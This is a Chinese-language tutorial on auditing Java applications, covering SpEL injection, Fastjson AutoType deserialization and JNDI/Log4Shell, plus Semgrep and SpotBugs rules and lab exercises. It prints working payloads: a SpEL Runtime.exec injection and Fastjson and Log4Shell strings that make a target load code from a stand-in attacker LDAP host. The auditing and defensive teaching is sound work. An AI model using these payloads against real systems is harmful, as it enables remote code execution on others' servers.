📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19-23 nmap扫描 → masscan → 指纹识别 → 漏洞扫描 → sqlmap注入
模块 2 Web 应用渗透 ✅ 已完成
24-31 XSS → CSRF → 命令执行 → 文件包含 → 反序列化 → XXE → 越权 → WAF绕过
模块 3 代码审计(进行中)
32 代码审计入门 ✓ | 33 Node.js原型链 ✓ | 34 PHP代码审计 ✓
35 Java代码审计:SpEL注入与Fastjson反序列化 ✓(本篇)
36 Python代码审计 · 37 CVE复现与源码对比
Java 代码审计:SpEL 注入与 Fastjson 反序列化
网络安全 Kali 学习系列 · 第 35 篇 · 模块 3 代码审计
读完本篇你将能:独立分析 Spring Boot 项目中的 SpEL 注入漏洞,理解 Fastjson AutoType 机制从默认禁用到多层绕过的完整路径,掌握 JNDI 注入与 Log4Shell 的审计回溯方法,并能用 Semgrep 编写 Java 专用审计规则。
从 PHP 审计过渡到 Java 生态,最大的变化不是语法,而是"框架即漏洞面"。PHP 的危险函数一目了然,而 Java 的漏洞藏在 Spring 的注解、Fastjson 的序列化配置、Log4j 的消息查找里。审计 Java 项目,需要理解框架的内部机制,而非仅仅搜索函数名。
目录
第一章 Java 安全审计概览:框架即漏洞面
第二章 SpEL 注入:从表达式到远程代码执行
第三章 Fastjson 反序列化:AutoType 机制与绕过链
第四章 JNDI 注入与 Log4Shell 审计回溯
第五章 Java 审计工具链:SpotBugs 与 Semgrep
第六章 分级练习
第一章 Java 安全审计概览:框架即漏洞面
PHP 审计的核心是搜索 eval、system、unserialize 等危险函数,函数名即漏洞信号。Java 审计完全不同——危险不在函数名,而在框架配置和注解。一个 @RequestMapping 注解本身无害,但如果它绑定的方法接收用户输入并传给 SpelExpressionParser,就是 SpEL 注入漏洞。
Java 项目审计的三大攻击面:表达式注入(SpEL、OGNL)、反序列化(Fastjson、Jackson、原生 ObjectInputStream)、JNDI 注入(Log4j、RMI)。这三条路径的共同点是:漏洞不在于 Java 语言本身,而在于框架的"便利功能"被攻击者滥用。
1.1 PHP 审计 vs Java 审计的思维差异
PHP 审计思路
搜索函数名 → 追踪参数来源 → 判断是否可控
重点:eval、system、unserialize、include
工具:ripgrep + grep
粒度:函数级
Java 审计思路
搜索框架配置 → 追踪数据流 → 判断 gadget 可用性
重点:SpEL配置、JSON序列化、JNDI lookup
工具:Semgrep + SpotBugs + 手工
粒度:框架级
1.2 环境准备:搭建 Spring Boot 审计靶场
审计 Java 项目需要 JDK 和 Maven 环境。Spring Boot 当前主流版本为 3.x(基于 Spring Framework 6.x),但大量企业仍在使用 Spring Boot 2.x(基于 Spring Framework 5.x),两个版本的 SpEL API 基本一致,漏洞模式相同。
Shell · JDK 21 + Maven 审计环境
|
1
2
3
4
5
6
7
8
9 |
# 安装 JDK 21 LTS(Spring Boot 3.x 最低要求 JDK 17)
sudo apt install openjdk-21-jdk -y
java -version # openjdk version "21"
# 安装 Maven 构建工具
sudo apt install maven -y
mvn -version # Apache Maven 3.9.x
# 克隆漏洞靶场:vulhub 中的 fastjson / log4j2 环境
|
💡 小贴士
审计 Java 项目的第一步不是看代码,而是看 pom.xml(Maven)或 build.gradle(Gradle)的依赖列表。Fastjson 版本低于 1.2.83、Log4j 版本低于 2.17.1、Spring Framework 版本低于 5.3.28,这些版本号本身就是漏洞信号,比搜索代码更高效。
第二章 SpEL 注入:从表达式到远程代码执行
Spring Expression Language(SpEL)是 Spring 框架内置的表达式引擎,用于在运行时动态求值。它支持访问 Bean 属性、调用方法、数学运算,功能强大到可以执行任意 Java 代码——这正是危险所在。当用户输入被拼入 SpEL 表达式时,攻击者可以从表达式求值一路走到 Runtime.exec() 实现 RCE。
2.1 SpEL 基础语法与危险点
SpEL 表达式以 #{...} 包裹,可以访问 Spring 容器中的 Bean、调用方法、操作字面量。关键危险方法是通过 T(java.lang.Runtime) 获取 Java 类型引用,进而调用 getRuntime().exec()。
Java · SpEL 表达式从安全到危险
SpelDemo.java
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 |
// 安全用法:解析字面量
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello ' + 'World'");
String result = (String) exp.getValue(); // "Hello World"
// 危险用法:T() 访问任意 Java 类
Expression exp2 = parser.parseExpression(
"T(java.lang.Runtime).getRuntime().exec('id')"
);
exp2.getValue(); // 执行 id 命令
// 漏洞场景:用户输入拼入表达式
String userInput = request.getParameter("name");
Expression exp3 = parser.parseExpression(
"'Hello ' + name" + userInput // 拼接用户输入
);
// 输入 name='){T(java.lang.Runtime).getRuntime().exec('id')}//
// 表达式变为:'Hello ' + name'){T(java.lang.Runtime).getRuntime().exec('id')}//
// } 闭合原表达式,注入新表达式,// 注释掉剩余部分
|
2.2 真实漏洞模式:@Value 注解与 SpEL
审计 SpEL 注入时,搜索以下三个模式即可覆盖大多数漏洞点。第一,SpelExpressionParser 直接调用——检查表达式是否包含用户输入。第二,@Value("#{...}") 注解——检查注解中的 SpEL 是否引用了用户可控的属性。第三,Spring Cloud Gateway 的路由配置——历史 CVE 中多次出现 SpEL 注入。
Shell · Semgrep 规则检测 SpEL 注入
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
rules:
- id: spel-user-input-injection
patterns:
- pattern: parser.parseExpression($EXPR)
- pattern-either:
- pattern: parser.parseExpression("... $INPUT ...")
- pattern: parser.parseExpression($BASE + $INPUT)
- pattern-not: parser.parseExpression("...")
message: "SpEL 表达式包含变量,可能存在注入风险"
languages: [java]
severity: ERROR
# 运行:semgrep --config spel.yml --java ./src/
|
2.3 防御:SimpleEvaluationContext vs StandardEvaluationContext
SpEL 有两套求值上下文。StandardEvaluationContext 功能完整,支持 T() 类型引用和方法调用,是漏洞根源。SimpleEvaluationContext 是 Spring 4.3.5+ 引入的安全替代,默认禁用类型引用和方法调用,仅支持属性读取和基本运算。
⚠️ 常见错误
用 SimpleEvaluationContext 就绝对安全了
正确认知:SimpleEvaluationContext 降低了风险但并非绝对安全。Spring Framework 在 7.0.8 及以下版本中存在 SimpleEvaluationContext 安全绕过 CVE(SpEL 表达式编译器激活时可绕过限制)。审计时仍需检查用户输入是否进入表达式,最安全的方案是不将用户输入拼入 SpEL 表达式,改用参数化模板。
第三章 Fastjson 反序列化:AutoType 机制与绕过链
Fastjson 是阿里开源的 Java JSON 库,曾是国内 Java 项目的事实标准。它的反序列化漏洞历史几乎是一部攻防编年史:从最初 AutoType 默认开启导致任意类反序列化,到后续版本加入 checkAutoType 黑名单,再到黑名单被逐条绕过,最后到 SafeMode 彻底禁用 AutoType。2026 年 7 月,CVE-2026-16723 揭示即使 AutoType 关闭、SafeMode 关闭的默认配置下,1.2.68-1.2.83 仍可被绕过实现 RCE,CVSS 9.0。
3.1 AutoType 机制:便利与危险的根源
AutoType 是 Fastjson 的核心特性:JSON 中的 @type 字段指定要反序列化为哪个 Java 类。这个设计让前端可以发送多态对象,但也让攻击者可以指定任意类。当 JSON.parse(json) 遇到 @type 时,会自动加载并实例化指定类,调用其 setter 方法——这就是 gadget 链的入口。
Java · Fastjson AutoType 反序列化链
FastjsonVuln.java
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 |
// 漏洞代码:直接解析用户传入的 JSON
String json = request.getReader().lines()
.collect(Collectors.joining());
Object obj = JSON.parse(json); // 危险!
// 攻击 payload(经典 JdbcRowSetImpl 链)
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker:1389/Exploit",
"autoCommit": true
}
// Fastjson 实例化 JdbcRowSetImpl
// 调用 setAutoCommit → 内部 connect(dataSourceName)
// 向攻击者 LDAP 发起 JNDI 查询 → 加载恶意类 → RCE
|
3.2 AutoType 防护演进与绕过历史
Fastjson 的 AutoType 防护经历了多次迭代,审计时需要根据 pom.xml 中的版本号判断哪些绕过路径仍然有效:
1< 1.2.24:AutoType 默认开启,无任何黑名单。任意类可反序列化,攻击门槛极低
21.2.25-1.2.68:加入 checkAutoType 黑名单,但被 L 前缀、[ 数组、双写类名等手法逐条绕过
31.2.68-1.2.83:默认禁用 AutoType,引入 SafeMode。但 CVE-2026-16723 证明默认配置仍可绕过
4Fastjson 2.x:重写 AutoType 实现,但仍有内置白名单绕过的 RCE 漏洞报告
💡 小贴士
审计 Fastjson 的第一步是看 pom.xml 中的版本号。如果版本低于 1.2.83,即使 AutoType 和 SafeMode 都关闭,仍存在 CVE-2026-16723 风险。建议直接迁移到 Fastjson 2.x 最新版或改用 Jackson(默认禁用类型推断,更安全)。搜索 JSON.parse( 和 JSON.parseObject( 定位所有反序列化调用点,检查输入是否来自用户请求体。
第四章 JNDI 注入与 Log4Shell 审计回溯
JNDI(Java Naming and Directory Interface)是 Java 的目录服务接口,支持通过 LDAP、RMI 等协议从远程服务器加载 Java 对象。当应用将用户输入传递给 JNDI 查找函数时,攻击者可以构造恶意 LDAP/RMI 服务器,让目标应用加载并执行恶意 Java 类。Log4Shell(CVE-2021-44228)就是最典型的 JNDI 注入案例。
4.1 Log4Shell 审计:从日志到 RCE 的完整链路
Log4Shell 的根因是 Log4j 2.x 的 message lookup 功能:当日志消息中包含 ${...} 时,Log4j 会将其作为表达式解析。${jndi:ldap://attacker/a} 会触发 JNDI 查找,从攻击者控制的 LDAP 服务器加载恶意 Java 类。任何被日志记录的用户输入都是注入点——HTTP Header、表单参数、User-Agent。
Java · Log4Shell 注入点审计
Log4jAudit.java
|
1
2
3
4
5
6
7
8
9
10
11
12
13 |
// 漏洞代码:用户输入被记录到日志
String ua = request.getHeader("User-Agent");
logger.info("User-Agent: {}", ua); // Log4j < 2.17.1 危险
// 攻击者发送 User-Agent:
${jndi:ldap://attacker.com:1389/Exploit}
// Log4j 解析 ${...} → JNDI 查询 attacker.com
// LDAP 返回恶意 Java 类的 codebase URL
// 目标 JVM 加载并实例化 → 执行构造函数中的代码
// 审计要点:搜索所有 logger.xxx() 调用
// 检查参数是否包含 HTTP Header / 表单参数
|
4.2 JNDI 注入的通用审计模式
除 Log4Shell 外,JNDI 注入还出现在 Spring 的 RMI 调用、JMS 消息处理、EJB 远程调用等场景。审计通用模式是搜索 InitialContext.lookup() 调用,检查参数是否来自用户输入。Java 8u191+ 和 11.0.1+ 对 JNDI 添加了远程类加载限制(com.sun.jndi.ldap.object.trustURLCodebase 默认为 false),但通过序列化对象和本地 BeanFactory 仍可绕过。
⚠️ 常见错误
JDK 升级到 8u191+ 就不怕 JNDI 注入了
正确认知:JDK 8u191 禁止了 LDAP 远程类加载,但 RMI 的 trustURLCodebase 在某些版本仍默认为 true,且通过本地 BeanFactory + EL 表达式注入仍可绕过限制。审计时检查 InitialContext.lookup() 的参数来源是唯一可靠方法。
第五章 Java 审计工具链:SpotBugs 与 Semgrep
Java 审计工具分两类:静态分析器(SpotBugs/FindSecBugs)擅长检测已知漏洞模式,Semgrep 擅长自定义规则匹配数据流。两者配合使用效果最佳。
5.1 SpotBugs + FindSecBugs
SpotBugs 是 FindBugs 的继承者,FindSecBugs 是其安全扩展,包含 100+ 条安全检测规则,覆盖 SQL 注入、XSS、反序列化、硬编码密码等。Maven 集成只需在 pom.xml 添加插件配置,运行 mvn spotbugs:check 即可。
XML · pom.xml SpotBugs 插件配置
|
1
2
3
4
5
6
7
8
9
10
|
<plugin>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-maven-plugin</artifactId>
<version>4.8.6.4</version>
<dependencies>
<dependency>
<groupId>com.h3xstream.findsecbugs</groupId>
<artifactId>findsecbugs-plugin</artifactId>
<version>1.13.0</version>
</dependency>
|
5.2 Semgrep Java 专用规则
Semgrep 对 Java 的支持非常完善,支持注解匹配、泛型推断和 Spring 特有模式。以下规则检测 Fastjson 危险调用和 JNDI lookup 用户输入注入:
YAML · Semgrep Java 安全规则集
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
rules:
- id: fastjson-unsafe-parse
pattern: JSON.parse($X)
message: "Fastjson parse 可能触发 AutoType 反序列化"
languages: [java]
severity: ERROR
- id: jndi-lookup-user-input
pattern: $CTX.lookup($INPUT)
pattern-inside: |
$INPUT = $REQUEST.getParameter(...);
...
$CTX.lookup($INPUT);
message: "JNDI lookup 接受用户输入,存在注入风险"
languages: [java]
severity: ERROR
|
第六章 分级练习
以下练习建议在本地搭建 Vulhub 靶场环境实操。Vulhub 提供了 Fastjson 1.2.24-rce、Log4j2-CVE-2021-44228 等现成漏洞环境。
🟢 基础练习:pom.xml 依赖版本审计
练习 1:从 pom.xml 识别漏洞版本
任务:找一个使用 Spring Boot 的开源 Java 项目,检查其 pom.xml 中的依赖版本,对照以下阈值判断风险:
① fastjson < 1.2.83 → CVE-2026-16723 风险
② log4j-core < 2.17.1 → Log4Shell
③ spring-core < 5.3.28 → SpEL 安全绕过
④ jackson-databind < 2.15.0 → 反序列化
验证标准:列出所有风险依赖,写出对应 CVE 编号和建议修复版本。
🟡 进阶练习:SpEL 注入复现
练习 2:构造 SpEL 注入 payload
任务:在本地 Spring Boot 项目中编写一个接口,接收用户输入并拼入 SpEL 表达式。构造 payload 执行 whoami 命令并获取输出。
步骤:
1. 编写 Controller,使用 SpelExpressionParser 解析包含用户输入的表达式
2. 构造 payload:闭合原表达式 + 注入 T(java.lang.Runtime) + 注释剩余部分
3. 将 exec() 的输出通过 ProcessBuilder 重定向获取
4. 修复:改用 SimpleEvaluationContext 并验证 payload 失效
验证标准:能成功执行命令获取输出,且修复后同样 payload 不再有效。
🔴 高级练习:Fastjson 反序列化全链复现
练习 3:Fastjson JdbcRowSetImpl 链完整复现
任务:使用 Vulhub 的 fastjson 1.2.24-rce 环境,完成从 payload 构造到 RCE 的全链路复现。
步骤:
1. 启动 Vulhub 靶场:docker-compose up -d
2. 搭建恶意 LDAP 服务器(可用 marshalsec 工具)
3. 构造含 @type 为 JdbcRowSetImpl 的 JSON payload
4. 发送 payload 触发 JNDI 查询,加载恶意类
5. 审计:分析为什么 setAutoCommit 会触发 connect
思考题:如果目标 JDK 版本为 8u191+,LDAP 远程类加载被禁止,还有哪些绕过路径?
知识回顾
PHP vs Java 审计差异
pom.xml 版本审计
SpEL 表达式注入
T() 类型引用
SimpleEvaluationContext
Fastjson AutoType 机制
CVE-2026-16723
JdbcRowSetImpl 链
Log4Shell JNDI 注入
InitialContext.lookup
SpotBugs + FindSecBugs
Semgrep Java 规则
下一篇预告
📚 网络安全 Kali 学习系列 · 第 36 篇
Python 代码审计:SSTI 模板注入与 pickle 反序列化
从 Java 框架审计过渡到 Python 生态,聚焦 Flask/Jinja2 的 SSTI 模板注入和 pickle 序列化漏洞,对比三种语言的反序列化攻击面差异。
网络安全 Kali 学习系列 · 模块 3 代码审计 · 第 35 篇
学安全,为守护 · 用安全,为建设